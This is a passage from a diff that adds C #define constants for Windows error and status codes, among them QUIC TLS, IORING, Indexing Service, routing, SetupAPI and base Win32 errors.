ERROR_QUIC_TLS_INSUFFICIENT_SECURITY -2143223481 +#define ERROR_QUIC_TLS_INTERNAL_ERROR -2143223472 +#define ERROR_QUIC_TLS_USER_CANCELED -2143223462 +#define ERROR_QUIC_TLS_CERTIFICATE_REQUIRED -2143223436 +#define IORING_E_REQUIRED_FLAG_NOT_SUPPORTED -2142896127 +#define IORING_E_SUBMISSION_QUEUE_FULL -2142896126 +#define IORING_E_VERSION_NOT_SUPPORTED -2142896125 +#define IORING_E_SUBMISSION_QUEUE_TOO_BIG -2142896124 +#define IORING_E_COMPLETION_QUEUE_TOO_BIG -2142896123 +#define IORING_E_SUBMIT_IN_PROGRESS -2142896122 +#define IORING_E_CORRUPT -2142896121 +#define IORING_E_COMPLETION_QUEUE_TOO_FULL -2142896120 +#define UNIONFS_E_CANNOT_CROSS_UNION -1994063871 +#define UNIONFS_E_CANNOT_EXIT_UNION -1994063870 +#define UNIONFS_E_CANNOT_PRESERVE_LINK -1994063869 +#define UNIONFS_E_INVALID_TOMBSTONE_STATE -1994063868 +#define UNIONFS_E_LAYERS_PRESENT -1994063867 +#define UNIONFS_E_NESTED_LAYER -1994063866 +#define UNIONFS_E_UNION_DUPLICATE_ID -1994063865 +#define UNIONFS_E_INACTIVE_UNION -1994063864 +#define UNIONFS_E_TOO_MANY_LAYERS -1994063863 +#define UNIONFS_E_TOO_LATE -1994063862 +#define UNIONFS_E_NESTED_UNION -1994063861 +#define UNIONFS_E_NESTED_UNION_NOT_ALLOWED -1994063860 +#define ERROR_PRM_HANDLER_NOT_FOUND -920256000 +#define ERROR_PRM_CONCURRENT_OPERATION -920255998 +#define ERROR_PRM_MODULE_UPDATE_PENDING -920255997 +#define ERROR_PRM_MODULE_LOCKED -920255996 +#define ERROR_PRM_UPDATE_INCOMPATIBLE_VERSION -920255995 +#define ERROR_PRM_UPDATE_MODULE_MISMATCH -920255994 +#define ERROR_PRM_UPDATE_MODULE_NOT_FOUND -920255993 +#define ERROR_PRM_UPDATE_MISSING_EXPORT -920255992 +#define ERROR_PRM_UPDATE_MODULE_LOCKED -920255991 +#define ERROR_PRM_UPDATE_BAD_SIGNATURE -920255990 +#define ERROR_PRM_UPDATE_VERSION_MISMATCH -920255989 +#define ERROR_PRM_MODULE_UNLOCKED -920255988 +#define ERROR_PRM_INTERFACE_INACCESSIBLE -920255987 +#define ERROR_ACCELERATOR_SUBMISSION_QUEUE_FULL -920190976 +#define PPF_E_TRANSFORM_DIGEST_ALGO_NOT_SUPPORTED -920125440 +#define PPF_E_TRANSFORM_CONFLICT -920125439 +#define PPF_E_TRANSFORM_CLEANED_UP_NA -920125438 +#define PPF_E_TRANSFORM_CLEANED_UP_STATE_CHANGE -920125437 +#define PPF_E_TRANSFORM_DIGEST_ALGO_NOT_PRESENT -920125436 +#define RPC_X_ENUM_VALUE_TOO_LARGE 1781 +#define RPC_X_INVALID_PIPE_OPERATION 1831 +#define RPC_X_SS_CONTEXT_MISMATCH -1073545211 +#define RPC_X_NO_MEMORY -1073741801 +#define RPC_X_INVALID_BOUND -1073610717 +#define RPC_X_INVALID_TAG -1073610718 +#define RPC_X_INVALID_BUFFER -1073741306 +#define RPC_X_PIPE_APP_MEMORY -1073741801 +#define STATUS_SEVERITY_COERROR 0x2 +#define STATUS_SEVERITY_COFAIL 0x3 +#define NOT_AN_ERROR1 529920 +#define QUERY_E_FAILED -2147215872 +#define QUERY_E_INVALIDQUERY -2147215871 +#define QUERY_E_INVALIDRESTRICTION -2147215870 +#define QUERY_E_INVALIDSORT -2147215869 +#define QUERY_E_INVALIDCATEGORIZE -2147215868 +#define QUERY_E_ALLNOISE -2147215867 +#define QUERY_E_TOOCOMPLEX -2147215866 +#define QUERY_E_TIMEDOUT -2147215865 +#define QUERY_E_DUPLICATE_OUTPUT_COLUMN -2147215864 +#define QUERY_E_INVALID_OUTPUT_COLUMN -2147215863 +#define QUERY_E_INVALID_DIRECTORY -2147215862 +#define QUERY_E_DIR_ON_REMOVABLE_DRIVE -2147215861 +#define QUERY_S_NO_QUERY -2147215860 +#define QPLIST_E_CANT_OPEN_FILE -2147215791 +#define QPLIST_E_READ_ERROR -2147215790 +#define QPLIST_E_EXPECTING_NAME -2147215789 +#define QPLIST_E_EXPECTING_TYPE -2147215788 +#define QPLIST_E_UNRECOGNIZED_TYPE -2147215787 +#define QPLIST_E_EXPECTING_INTEGER -2147215786 +#define QPLIST_E_EXPECTING_CLOSE_PAREN -2147215785 +#define QPLIST_E_EXPECTING_GUID -2147215784 +#define QPLIST_E_BAD_GUID -2147215783 +#define QPLIST_E_EXPECTING_PROP_SPEC -2147215782 +#define QPLIST_E_CANT_SET_PROPERTY -2147215781 +#define QPLIST_E_DUPLICATE -2147215780 +#define QPLIST_E_VECTORBYREF_USED_ALONE -2147215779 +#define QPLIST_E_BYREF_USED_WITHOUT_PTRTYPE -2147215778 +#define QPARSE_E_UNEXPECTED_NOT -2147215776 +#define QPARSE_E_EXPECTING_INTEGER -2147215775 +#define QPARSE_E_EXPECTING_REAL -2147215774 +#define QPARSE_E_EXPECTING_DATE -2147215773 +#define QPARSE_E_EXPECTING_CURRENCY -2147215772 +#define QPARSE_E_EXPECTING_GUID -2147215771 +#define QPARSE_E_EXPECTING_BRACE -2147215770 +#define QPARSE_E_EXPECTING_PAREN -2147215769 +#define QPARSE_E_EXPECTING_PROPERTY -2147215768 +#define QPARSE_E_NOT_YET_IMPLEMENTED -2147215767 +#define QPARSE_E_EXPECTING_PHRASE -2147215766 +#define QPARSE_E_UNSUPPORTED_PROPERTY_TYPE -2147215765 +#define QPARSE_E_EXPECTING_REGEX -2147215764 +#define QPARSE_E_EXPECTING_REGEX_PROPERTY -2147215763 +#define QPARSE_E_INVALID_LITERAL -2147215762 +#define QPARSE_E_NO_SUCH_PROPERTY -2147215761 +#define QPARSE_E_EXPECTING_EOS -2147215760 +#define QPARSE_E_EXPECTING_COMMA -2147215759 +#define QPARSE_E_UNEXPECTED_EOS -2147215758 +#define QPARSE_E_WEIGHT_OUT_OF_RANGE -2147215757 +#define QPARSE_E_NO_SUCH_SORT_PROPERTY -2147215756 +#define QPARSE_E_INVALID_SORT_ORDER -2147215755 +#define QUTIL_E_CANT_CONVERT_VROOT -2147215754 +#define QPARSE_E_INVALID_GROUPING -2147215753 +#define QUTIL_E_INVALID_CODEPAGE -1073473928 +#define QPLIST_S_DUPLICATE 267897 +#define QPARSE_E_INVALID_QUERY -2147215750 +#define QPARSE_E_INVALID_RANKMETHOD -2147215749 +#define FDAEMON_W_WORDLISTFULL 267904 +#define FDAEMON_E_LOWRESOURCE -2147215743 +#define FDAEMON_E_FATALERROR -2147215742 +#define FDAEMON_E_PARTITIONDELETED -2147215741 +#define FDAEMON_E_CHANGEUPDATEFAILED -2147215740 +#define FDAEMON_W_EMPTYWORDLIST 267909 +#define FDAEMON_E_WORDLISTCOMMITFAILED -2147215738 +#define FDAEMON_E_NOWORDLIST -2147215737 +#define FDAEMON_E_TOOMANYFILTEREDBLOCKS -2147215736 +#define SEARCH_S_NOMOREHITS 267936 +#define SEARCH_E_NOMONIKER -2147215711 +#define SEARCH_E_NOREGION -2147215710 +#define FILTER_E_TOO_BIG -2147215568 +#define FILTER_S_PARTIAL_CONTENTSCAN_IMMEDIATE 268081 +#define FILTER_S_FULL_CONTENTSCAN_IMMEDIATE 268082 +#define FILTER_S_CONTENTSCAN_DELAYED 268083 +#define FILTER_E_CONTENTINDEXCORRUPT -1073473740 +#define FILTER_S_DISK_FULL 268085 +#define FILTER_E_ALREADY_OPEN -2147215562 +#define FILTER_E_UNREACHABLE -2147215561 +#define FILTER_E_IN_USE -2147215560 +#define FILTER_E_NOT_OPEN -2147215559 +#define FILTER_S_NO_PROPSETS 268090 +#define FILTER_E_NO_SUCH_PROPERTY -2147215557 +#define FILTER_S_NO_SECURITY_DESCRIPTOR 268092 +#define FILTER_E_OFFLINE -2147215555 +#define FILTER_E_PARTIALLY_FILTERED -2147215554 +#define WBREAK_E_END_OF_TEXT -2147215488 +#define LANGUAGE_S_LARGE_WORD 268161 +#define WBREAK_E_QUERY_ONLY -2147215486 +#define WBREAK_E_BUFFER_TOO_SMALL -2147215485 +#define LANGUAGE_E_DATABASE_NOT_FOUND -2147215484 +#define WBREAK_E_INIT_FAILED -2147215483 +#define PSINK_E_QUERY_ONLY -2147215472 +#define PSINK_E_INDEX_ONLY -2147215471 +#define PSINK_E_LARGE_ATTACHMENT -2147215470 +#define PSINK_S_LARGE_WORD 268179 +#define CI_CORRUPT_DATABASE -1073473536 +#define CI_CORRUPT_CATALOG -1073473535 +#define CI_INVALID_PARTITION -1073473534 +#define CI_INVALID_PRIORITY -1073473533 +#define CI_NO_STARTING_KEY -1073473532 +#define CI_OUT_OF_INDEX_IDS -1073473531 +#define CI_NO_CATALOG -1073473530 +#define CI_CORRUPT_FILTER_BUFFER -1073473529 +#define CI_INVALID_INDEX -1073473528 +#define CI_PROPSTORE_INCONSISTENCY -1073473527 +#define CI_E_ALREADY_INITIALIZED -2147215350 +#define CI_E_NOT_INITIALIZED -2147215349 +#define CI_E_BUFFERTOOSMALL -2147215348 +#define CI_E_PROPERTY_NOT_CACHED -2147215347 +#define CI_S_WORKID_DELETED 268302 +#define CI_E_INVALID_STATE -2147215345 +#define CI_E_FILTERING_DISABLED -2147215344 +#define CI_E_DISK_FULL -2147215343 +#define CI_E_SHUTDOWN -2147215342 +#define CI_E_WORKID_NOTVALID -2147215341 +#define CI_S_END_OF_ENUMERATION 268308 +#define CI_E_NOT_FOUND -2147215339 +#define CI_E_USE_DEFAULT_PID -2147215338 +#define CI_E_DUPLICATE_NOTIFICATION -2147215337 +#define CI_E_UPDATES_DISABLED -2147215336 +#define CI_E_INVALID_FLAGS_COMBINATION -2147215335 +#define CI_E_OUTOFSEQ_INCREMENT_DATA -2147215334 +#define CI_E_SHARING_VIOLATION -2147215333 +#define CI_E_LOGON_FAILURE -2147215332 +#define CI_E_NO_CATALOG -2147215331 +#define CI_E_STRANGE_PAGEORSECTOR_SIZE -2147215330 +#define CI_E_TIMEOUT -2147215329 +#define CI_E_NOT_RUNNING -2147215328 +#define CI_INCORRECT_VERSION -1073473503 +#define CI_E_ENUMERATION_STARTED -1073473502 +#define CI_E_PROPERTY_TOOLARGE -1073473501 +#define CI_E_CLIENT_FILTER_ABORT -1073473500 +#define CI_S_NO_DOCSTORE 268325 +#define CI_S_CAT_STOPPED 268326 +#define CI_E_CARDINALITY_MISMATCH -2147215321 +#define CI_E_CONFIG_DISK_FULL -2147215320 +#define CI_E_DISTRIBUTED_GROUPBY_UNSUPPORTED -2147215319 +#define ROUTEBASE 0x384 +#define SUCCESS 0x0 +#define ERROR_ROUTER_STOPPED 0x384 +#define ERROR_ALREADY_CONNECTED 0x385 +#define ERROR_UNKNOWN_PROTOCOL_ID 0x386 +#define ERROR_DDM_NOT_RUNNING 0x387 +#define ERROR_INTERFACE_ALREADY_EXISTS 0x388 +#define ERROR_NO_SUCH_INTERFACE 0x389 +#define ERROR_INTERFACE_NOT_CONNECTED 0x38a +#define ERROR_PROTOCOL_STOP_PENDING 0x38b +#define ERROR_INTERFACE_CONNECTED 0x38c +#define ERROR_NO_INTERFACE_CREDENTIALS_SET 0x38d +#define ERROR_ALREADY_CONNECTING 0x38e +#define ERROR_UPDATE_IN_PROGRESS 0x38f +#define ERROR_INTERFACE_CONFIGURATION 0x390 +#define ERROR_NOT_CLIENT_PORT 0x391 +#define ERROR_NOT_ROUTER_PORT 0x392 +#define ERROR_CLIENT_INTERFACE_ALREADY_EXISTS 0x393 +#define ERROR_INTERFACE_DISABLED 0x394 +#define ERROR_AUTH_PROTOCOL_REJECTED 0x395 +#define ERROR_NO_AUTH_PROTOCOL_AVAILABLE 0x396 +#define ERROR_PEER_REFUSED_AUTH 0x397 +#define ERROR_REMOTE_NO_DIALIN_PERMISSION 0x398 +#define ERROR_REMOTE_PASSWD_EXPIRED 0x399 +#define ERROR_REMOTE_ACCT_DISABLED 0x39a +#define ERROR_REMOTE_RESTRICTED_LOGON_HOURS 0x39b +#define ERROR_REMOTE_AUTHENTICATION_FAILURE 0x39c +#define ERROR_INTERFACE_HAS_NO_DEVICES 0x39d +#define ERROR_IDLE_DISCONNECTED 0x39e +#define ERROR_INTERFACE_UNREACHABLE 0x39f +#define ERROR_SERVICE_IS_PAUSED 0x3a0 +#define ERROR_INTERFACE_DISCONNECTED 0x3a1 +#define ERROR_AUTH_SERVER_TIMEOUT 0x3a2 +#define ERROR_PORT_LIMIT_REACHED 0x3a3 +#define ERROR_PPP_SESSION_TIMEOUT 0x3a4 +#define ERROR_MAX_LAN_INTERFACE_LIMIT 0x3a5 +#define ERROR_MAX_WAN_INTERFACE_LIMIT 0x3a6 +#define ERROR_MAX_CLIENT_INTERFACE_LIMIT 0x3a7 +#define ERROR_BAP_DISCONNECTED 0x3a8 +#define ERROR_USER_LIMIT 0x3a9 +#define ERROR_NO_RADIUS_SERVERS 0x3aa +#define ERROR_INVALID_RADIUS_RESPONSE 0x3ab +#define ERROR_DIALIN_HOURS_RESTRICTION 0x3ac +#define ERROR_ALLOWED_PORT_TYPE_RESTRICTION 0x3ad +#define ERROR_AUTH_PROTOCOL_RESTRICTION 0x3ae +#define ERROR_BAP_REQUIRED 0x3af +#define ERROR_DIALOUT_HOURS_RESTRICTION 0x3b0 +#define ERROR_ROUTER_CONFIG_INCOMPATIBLE 0x3b1 +#define WARNING_NO_MD5_MIGRATION 0x3b2 +#define ERROR_PROTOCOL_ALREADY_INSTALLED 0x3b4 +#define ERROR_INVALID_SIGNATURE_LENGTH 0x3b5 +#define ERROR_INVALID_SIGNATURE 0x3b6 +#define ERROR_NO_SIGNATURE 0x3b7 +#define ERROR_INVALID_PACKET_LENGTH_OR_ID 0x3b8 +#define ERROR_INVALID_ATTRIBUTE_LENGTH 0x3b9 +#define ERROR_INVALID_PACKET 0x3ba +#define ERROR_AUTHENTICATOR_MISMATCH 0x3bb +#define ERROR_REMOTEACCESS_NOT_CONFIGURED 0x3bc +#define ROUTEBASEEND 0x3bd +#define _WIN32_MAXVER 0xa00 +#define _WIN32_WINDOWS_MAXVER 0xa00 +#define NTDDI_MAXVER 0xa00 +#define _WIN32_IE_MAXVER 0xa00 +#define _WIN32_WINNT_MAXVER 0xa00 +#define WINVER_MAXVER 0xa00 +#define DUPLICATE_CLOSE_SOURCE 0x1 +#define DUPLICATE_SAME_ACCESS 0x2 +#define NO_ERROR 0x0 +#define ERROR_EXPECTED_SECTION_NAME 0xe0000000 +#define ERROR_BAD_SECTION_NAME_LINE 0xe0000001 +#define ERROR_SECTION_NAME_TOO_LONG 0xe0000002 +#define ERROR_GENERAL_SYNTAX 0xe0000003 +#define ERROR_WRONG_INF_STYLE 0xe0000100 +#define ERROR_SECTION_NOT_FOUND 0xe0000101 +#define ERROR_LINE_NOT_FOUND 0xe0000102 +#define ERROR_NO_BACKUP 0xe0000103 +#define ERROR_NO_ASSOCIATED_CLASS 0xe0000200 +#define ERROR_CLASS_MISMATCH 0xe0000201 +#define ERROR_DUPLICATE_FOUND 0xe0000202 +#define ERROR_NO_DRIVER_SELECTED 0xe0000203 +#define ERROR_KEY_DOES_NOT_EXIST 0xe0000204 +#define ERROR_INVALID_DEVINST_NAME 0xe0000205 +#define ERROR_INVALID_CLASS 0xe0000206 +#define ERROR_DEVINST_ALREADY_EXISTS 0xe0000207 +#define ERROR_DEVINFO_NOT_REGISTERED 0xe0000208 +#define ERROR_INVALID_REG_PROPERTY 0xe0000209 +#define ERROR_NO_INF 0xe000020a +#define ERROR_NO_SUCH_DEVINST 0xe000020b +#define ERROR_CANT_LOAD_CLASS_ICON 0xe000020c +#define ERROR_INVALID_CLASS_INSTALLER 0xe000020d +#define ERROR_DI_DO_DEFAULT 0xe000020e +#define ERROR_DI_NOFILECOPY 0xe000020f +#define ERROR_INVALID_HWPROFILE 0xe0000210 +#define ERROR_NO_DEVICE_SELECTED 0xe0000211 +#define ERROR_DEVINFO_LIST_LOCKED 0xe0000212 +#define ERROR_DEVINFO_DATA_LOCKED 0xe0000213 +#define ERROR_DI_BAD_PATH 0xe0000214 +#define ERROR_NO_CLASSINSTALL_PARAMS 0xe0000215 +#define ERROR_FILEQUEUE_LOCKED 0xe0000216 +#define ERROR_BAD_SERVICE_INSTALLSECT 0xe0000217 +#define ERROR_NO_CLASS_DRIVER_LIST 0xe0000218 +#define ERROR_NO_ASSOCIATED_SERVICE 0xe0000219 +#define ERROR_NO_DEFAULT_DEVICE_INTERFACE 0xe000021a +#define ERROR_DEVICE_INTERFACE_ACTIVE 0xe000021b +#define ERROR_DEVICE_INTERFACE_REMOVED 0xe000021c +#define ERROR_BAD_INTERFACE_INSTALLSECT 0xe000021d +#define ERROR_NO_SUCH_INTERFACE_CLASS 0xe000021e +#define ERROR_INVALID_REFERENCE_STRING 0xe000021f +#define ERROR_INVALID_MACHINENAME 0xe0000220 +#define ERROR_REMOTE_COMM_FAILURE 0xe0000221 +#define ERROR_MACHINE_UNAVAILABLE 0xe0000222 +#define ERROR_NO_CONFIGMGR_SERVICES 0xe0000223 +#define ERROR_INVALID_PROPPAGE_PROVIDER 0xe0000224 +#define ERROR_NO_SUCH_DEVICE_INTERFACE 0xe0000225 +#define ERROR_DI_POSTPROCESSING_REQUIRED 0xe0000226 +#define ERROR_INVALID_COINSTALLER 0xe0000227 +#define ERROR_NO_COMPAT_DRIVERS 0xe0000228 +#define ERROR_NO_DEVICE_ICON 0xe0000229 +#define ERROR_INVALID_INF_LOGCONFIG 0xe000022a +#define ERROR_DI_DONT_INSTALL 0xe000022b +#define ERROR_INVALID_FILTER_DRIVER 0xe000022c +#define ERROR_NON_WINDOWS_NT_DRIVER 0xe000022d +#define ERROR_NON_WINDOWS_DRIVER 0xe000022e +#define ERROR_NO_CATALOG_FOR_OEM_INF 0xe000022f +#define ERROR_DEVINSTALL_QUEUE_NONNATIVE 0xe0000230 +#define ERROR_NOT_DISABLEABLE 0xe0000231 +#define ERROR_CANT_REMOVE_DEVINST 0xe0000232 +#define ERROR_INVALID_TARGET 0xe0000233 +#define ERROR_DRIVER_NONNATIVE 0xe0000234 +#define ERROR_IN_WOW64 0xe0000235 +#define ERROR_SET_SYSTEM_RESTORE_POINT 0xe0000236 +#define ERROR_SCE_DISABLED 0xe0000238 +#define ERROR_UNKNOWN_EXCEPTION 0xe0000239 +#define ERROR_PNP_REGISTRY_ERROR 0xe000023a +#define ERROR_REMOTE_REQUEST_UNSUPPORTED 0xe000023b +#define ERROR_NOT_AN_INSTALLED_OEM_INF 0xe000023c +#define ERROR_INF_IN_USE_BY_DEVICES 0xe000023d +#define ERROR_DI_FUNCTION_OBSOLETE 0xe000023e +#define ERROR_NO_AUTHENTICODE_CATALOG 0xe000023f +#define ERROR_AUTHENTICODE_DISALLOWED 0xe0000240 +#define ERROR_AUTHENTICODE_TRUSTED_PUBLISHER 0xe0000241 +#define ERROR_AUTHENTICODE_TRUST_NOT_ESTABLISHED 0xe0000242 +#define ERROR_AUTHENTICODE_PUBLISHER_NOT_TRUSTED 0xe0000243 +#define ERROR_SIGNATURE_OSATTRIBUTE_MISMATCH 0xe0000244 +#define ERROR_ONLY_VALIDATE_VIA_AUTHENTICODE 0xe0000245 +#define ERROR_DEVICE_INSTALLER_NOT_READY 0xe0000246 +#define ERROR_DRIVER_STORE_ADD_FAILED 0xe0000247 +#define ERROR_DEVICE_INSTALL_BLOCKED 0xe0000248 +#define ERROR_DRIVER_INSTALL_BLOCKED 0xe0000249 +#define ERROR_WRONG_INF_TYPE 0xe000024a +#define ERROR_FILE_HASH_NOT_IN_CATALOG 0xe000024b +#define ERROR_DRIVER_STORE_DELETE_FAILED 0xe000024c +#define ERROR_UNRECOVERABLE_STACK_OVERFLOW 0xe0000300 +#define ERROR_NO_DEFAULT_INTERFACE_DEVICE 0xe000021a +#define ERROR_INTERFACE_DEVICE_ACTIVE 0xe000021b +#define ERROR_INTERFACE_DEVICE_REMOVED 0xe000021c +#define ERROR_NO_SUCH_INTERFACE_DEVICE 0xe0000225 +#define ERROR_NOT_INSTALLED 0xe0001000 +#define ERROR_SUCCESS 0x0 +#define ERROR_INVALID_FUNCTION 0x1 +#define ERROR_FILE_NOT_FOUND 0x2 +#define ERROR_PATH_NOT_FOUND 0x3 +#define ERROR_TOO_MANY_OPEN_FILES 0x4 +#define ERROR_ACCESS_DENIED 0x5 +#define ERROR_INVALID_HANDLE 0x6 +#define ERROR_ARENA_TRASHED 0x7 +#define ERROR_NOT_ENOUGH_MEMORY 0x8 +#define ERROR_INVALID_BLOCK 0x9 +#define ERROR_BAD_ENVIRONMENT 0xa +#define ERROR_BAD_FORMAT 0xb +#define ERROR_INVALID_ACCESS 0xc +#define ERROR_INVALID_DATA 0xd +#define ERROR_OUTOFMEMORY 0xe +#define ERROR_INVALID_DRIVE 0xf +#define ERROR_CURRENT_DIRECTORY 0x10 +#define ERROR_NOT_SAME_DEVICE 0x11 +#define ERROR_NO_MORE_FILES 0x12 +#define ERROR_WRITE_PROTECT 0x13 +#define ERROR_BAD_UNIT 0x14 +#define ERROR_NOT_READY 0x15 +#define ERROR_BAD_COMMAND 0x16 +#define ERROR_CRC 0x17 +#define ERROR_BAD_LENGTH 0x18 +#define ERROR_SEEK 0x19 +#define ERROR_NOT_DOS_DISK 0x1a +#define ERROR_SECTOR_NOT_FOUND 0x1b +#define ERROR_OUT_OF_PAPER 0x1c +#define ERROR_WRITE_FAULT 0x1d +#define ERROR_READ_FAULT 0x1e +#define ERROR_GEN_FAILURE 0x1f +#define ERROR_SHARING_VIOLATION 0x20 +#define ERROR_LOCK_VIOLATION 0x21 +#define ERROR_WRONG_DISK 0x22 +#define ERROR_SHARING_BUFFER_EXCEEDED 0x24 +#define ERROR_HANDLE_EOF 0x26 +#define ERROR_HANDLE_DISK_FULL 0x27 +#define ERROR_NOT_SUPPORTED 0x32 +#define ERROR_REM_NOT_LIST 0x33 +#define ERROR_DUP_NAME 0x34 +#define ERROR_BAD_NETPATH 0x35 +#define ERROR_NETWORK_BUSY 0x36 +#define ERROR_DEV_NOT_EXIST 0x37 +#define ERROR_TOO_MANY_CMDS 0x38 +#define ERROR_ADAP_HDW_ERR 0x39 +#define ERROR_BAD_NET_RESP 0x3a +#define ERROR_UNEXP_NET_ERR 0x3b +#define ERROR_BAD_REM_ADAP 0x3c +#define ERROR_PRINTQ_FULL 0x3d +#define ERROR_NO_SPOOL_SPACE 0x3e +#define ERROR_PRINT_CANCELLED 0x3f +#define ERROR_NETNAME_DELETED 0x40 +#define ERROR_NETWORK_ACCESS_DENIED 0x41 +#define ERROR_BAD_DEV_TYPE 0x42 +#define ERROR_BAD_NET_NAME 0x43 +#define ERROR_TOO_MANY_NAMES 0x44 +#define ERROR_TOO_MANY_SESS 0x45 +#define ERROR_SHARING_PAUSED 0x46 +#define ERROR_REQ_NOT_ACCEP 0x47 +#define ERROR_REDIR_PAUSED 0x48 +#define ERROR_FILE_EXISTS 0x50 +#define ERROR_CANNOT_MAKE 0x52 +#define ERROR_FAIL_I24 0x53 +#define ERROR_OUT_OF_STRUCTURES 0x54 +#define ERROR_ALREADY_ASSIGNED 0x55 +#define ERROR_INVALID_PASSWORD 0x56 +#define ERROR_INVALID_PARAMETER 0x57 +#define ERROR_NET_WRITE_FAULT 0x58 +#define ERROR_NO_PROC_SLOTS 0x59 +#define ERROR_TOO_MANY_SEMAPHORES 0x64 +#define ERROR_EXCL_SEM_ALREADY_OWNED 0x65 +#define ERROR_SEM_IS_SET 0x66 +#define ERROR_TOO_MANY_SEM_REQUESTS 0x67 +#define ERROR_INVALID_AT_INTERRUPT_TIME 0x68 +#define ERROR_SEM_OWNER_DIED 0x69 +#define ERROR_SEM_USER_LIMIT 0x6a +#define ERROR_DISK_CHANGE 0x6b +#define ERROR_DRIVE_LOCKED 0x6c +#define ERROR_BROKEN_PIPE 0x6d +#define ERROR_OPEN_FAILED 0x6e +#define ERROR_BUFFER_OVERFLOW 0x6f +#define ERROR_DISK_FULL 0x70 +#define ERROR_NO_MORE_SEARCH_HANDLES 0x71 +#define ERROR_INVALID_TARGET_HANDLE 0x72 +#define ERROR_INVALID_CATEGORY 0x75 +#define ERROR_INVALID_VERIFY_SWITCH 0x76 +#define ERROR_BAD_DRIVER_LEVEL 0x77 +#define ERROR_CALL_NOT_IMPLEMENTED 0x78 +#define ERROR_SEM_TIMEOUT 0x79 +#define ERROR_INSUFFICIENT_BUFFER 0x7a +#define ERROR_INVALID_NAME 0x7b +#define ERROR_INVALID_LEVEL 0x7c +#define ERROR_NO_VOLUME_LABEL 0x7d +#define ERROR_MOD_NOT_FOUND 0x7e +#define ERROR_PROC_NOT_FOUND 0x7f +#define ERROR_WAIT_NO_CHILDREN 0x80 +#define ERROR_CHILD_NOT_COMPLETE 0x81 +#define ERROR_DIRECT_ACCESS_HANDLE 0x82 +#define ERROR_NEGATIVE_SEEK 0x83 +#define ERROR_SEEK_ON_DEVICE 0x84 +#define ERROR_IS_JOIN_TARGET 0x85 +#define ERROR_IS_JOINED 0x86 +#define ERROR_IS_SUBSTED 0x87 +#define ERROR_NOT_JOINED 0x88 +#define ERROR_NOT_SUBSTED 0x89 +#define ERROR_JOIN_TO_JOIN 0x8a +#define ERROR_SUBST_TO_SUBST 0x8b +#define ERROR_JOIN_TO_SUBST 0x8c +#define ERROR_SUBST_TO_JOIN 0x8d +#define ERROR_BUSY_DRIVE 0x8e +#define ERROR_SAME_DRIVE 0x8f +#define ERROR_DIR_NOT_ROOT 0x90 +#define ERROR_DIR_NOT_EMPTY 0x91 +#define ERROR_IS_SUBST_PATH 0x92 +#define ERROR_IS_JOIN_PATH 0x93 +#define ERROR_PATH_BUSY 0x94 +#define ERROR_IS_SUBST_TARGET 0x95 +#define ERROR_SYSTEM_TRACE 0x96 +#define ERROR_INVALID_EVENT_COUNT 0x97 +#define ERROR_TOO_MANY_MUXWAITERS 0x98 +#define ERROR_INVALID_LIST_FORMAT 0x99 +#define ERROR_LABEL_TOO_LONG 0x9a +#define ERROR_TOO_MANY_TCBS 0x9b +#define ERROR_SIGNAL_REFUSED 0x9c +#define ERROR_DISCARDED 0x9d +#define ERROR_NOT_LOCKED 0x9e +#define ERROR_BAD_THREADID_ADDR 0x9f +#define ERROR_BAD_ARGUMENTS 0xa0 +#define ERROR_BAD_PATHNAME 0xa1 +#define ERROR_SIGNAL_PENDING 0xa2 +#define ERROR_MAX_THRDS_REACHED 0xa4 +#define ERROR_LOCK_FAILED 0xa7 +#define ERROR_BUSY 0xaa +#define ERROR_DEVICE_SUPPORT_IN_PROGRESS 0xab +#define ERROR_CANCEL_VIOLATION 0xad +#define ERROR_ATOMIC_LOCKS_NOT_SUPPORTED 0xae +#define ERROR_INVALID_SEGMENT_NUMBER 0xb4 +#define ERROR_INVALID_ORDINAL 0xb6 +#define ERROR_ALREADY_EXISTS 0xb7 +#define ERROR_INVALID_FLAG_NUMBER 0xba +#define ERROR_SEM_NOT_FOUND 0xbb +#define ERROR_INVALID_STARTING_CODESEG 0xbc +#define ERROR_INVALID_STACKSEG 0xbd +#define ERROR_INVALID_MODULETYPE 0xbe +#define ERROR_INVALID_EXE_SIGNATURE 0xbf +#define ERROR_EXE_MARKED_INVALID 0xc0 +#define ERROR_BAD_EXE_FORMAT 0xc1 +#define ERROR_ITERATED_DATA_EXCEEDS_64k 0xc2 +#define ERROR_INVALID_MINALLOCSIZE 0xc3 +#define ERROR_DYNLINK_FROM_INVALID_RING 0xc4 +#define ERROR_IOPL_NOT_ENABLED 0xc5 +#define ERROR_INVALID_SEGDPL 0xc6 +#define ERROR_AUTODATASEG_EXCEEDS_64k 0xc7 +#define ERROR_RING2SEG_MUST_BE_MOVABLE 0xc8 +#define ERROR_RELOC_CHAIN_XEEDS_SEGLIM 0xc9 +#define ERROR_INFLOOP_IN_RELOC_CHAIN 0xca +#define ERROR_ENVVAR_NOT_FOUND 0xcb +#define ERROR_NO_SIGNAL_SENT 0xcd +#define ERROR_FILENAME_EXCED_RANGE 0xce +#define ERROR_RING2_STACK_IN_USE 0xcf +#define ERROR_META_EXPANSION_TOO_LONG 0xd0 +#define ERROR_INVALID_SIGNAL_NUMBER 0xd1 +#define ERROR_THREAD_1_INACTIVE 0xd2 +#define ERROR_LOCKED 0xd4 +#define ERROR_TOO_MANY_MODULES 0xd6 +#define ERROR_NESTING_NOT_ALLOWED 0xd7 +#define ERROR_EXE_MACHINE_TYPE_MISMATCH 0xd8 +#define ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY 0xd9 +#define ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY 0xda +#define ERROR_FILE_CHECKED_OUT 0xdc +#define ERROR_CHECKOUT_REQUIRED 0xdd +#define ERROR_BAD_FILE_TYPE 0xde +#define ERROR_FILE_TOO_LARGE 0xdf +#define ERROR_FORMS_AUTH_REQUIRED 0xe0 +#define ERROR_VIRUS_INFECTED 0xe1 +#define ERROR_VIRUS_DELETED 0xe2 +#define ERROR_PIPE_LOCAL 0xe5 +#define ERROR_BAD_PIPE 0xe6 +#define ERROR_PIPE_BUSY 0xe7 +#define ERROR_NO_DATA 0xe8 +#define ERROR_PIPE_NOT_CONNECTED 0xe9 +#define ERROR_MORE_DATA 0xea +#define ERROR_NO_WORK_DONE 0xeb +#define ERROR_VC_DISCONNECTED 0xf0 +#define ERROR_INVALID_EA_NAME 0xfe +#define ERROR_EA_LIST_INCONSISTENT 0xff +#define ERROR_NO_MORE_ITEMS 0x103 +#define ERROR_CANNOT_COPY 0x10a +#define ERROR_DIRECTORY 0x10b +#define ERROR_EAS_DIDNT_FIT 0x113 +#define ERROR_EA_FILE_CORRUPT 